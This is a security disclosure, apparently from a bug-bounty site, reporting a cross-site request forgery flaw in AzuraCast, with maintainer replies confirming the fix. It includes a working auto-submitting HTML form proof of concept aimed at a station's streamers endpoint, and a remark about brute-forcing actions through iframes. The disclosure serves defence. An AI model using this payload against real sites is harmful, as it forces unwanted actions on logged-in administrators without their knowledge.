Cross-Site Request Forgery (CSRF) in azuracast/azuracast
Reported on
Aug 26th 2021
✍️ Description
Attacker able to enable any Streamer/DJ account section with CSRF attack.
It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.
In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.
Or users with low level privilege can send a link to other users and admins with higher privilege and then their malicious request will be executed without that victim users and admins be aware about that.
🕵️♂️ Proof of Concept
1.First of all admin or user with right privileges already should be logged in Browser.
2.Open the PoC.html (it is auto-submit).
3.Here Streamer/DJ accounts section will be enabled after the PoC.html file opened.
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.azuracast.com/station/1/streamers">
<input type="hidden" name="enable" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions ( with using multiple Iframe )
💥 Impact
This vulnerability is capable of make high damage of integrity of system.
Fix
The easiest way that you set strict attribute on each cookie, Or you set Lax and Use GET requests only for receiving data not changing them.
The best way is that you set a CSRF token in each endpoint.
Occurrences
Hey Melbin, I've just emailed the repo's maintainers for you. Waiting to hear back, good job!
@admin Hey dear Ziding Zhang, How are you today? I hope for you to be good. I'm Amammad.
Apologies, how could I get that wrong?! Good day to you too, Amammad.
This is perhaps the most significant security issue we've been alerted to in recent memory, and our own investigation confirmed it was indeed valid.
Granted, the exploit's surface is limited to a currently-logged-in user with administrative permissions visiting a specially-crafted web site that exploits those permissions, but the potential for damage is significant if an attacker is determined and knows what API calls to make to, say, make themselves an administrator.
I've overhauled the authentication code for API calls in the latest AzuraCast version to require a CSRF validation token if visiting a non-GET-method API page and the only authentication present is your logged-in user session. This matches the protection that already existed elsewhere in the system for standard forms.
This fix is now available in the Rolling Release channel for AzuraCast and will be included in the next stable release.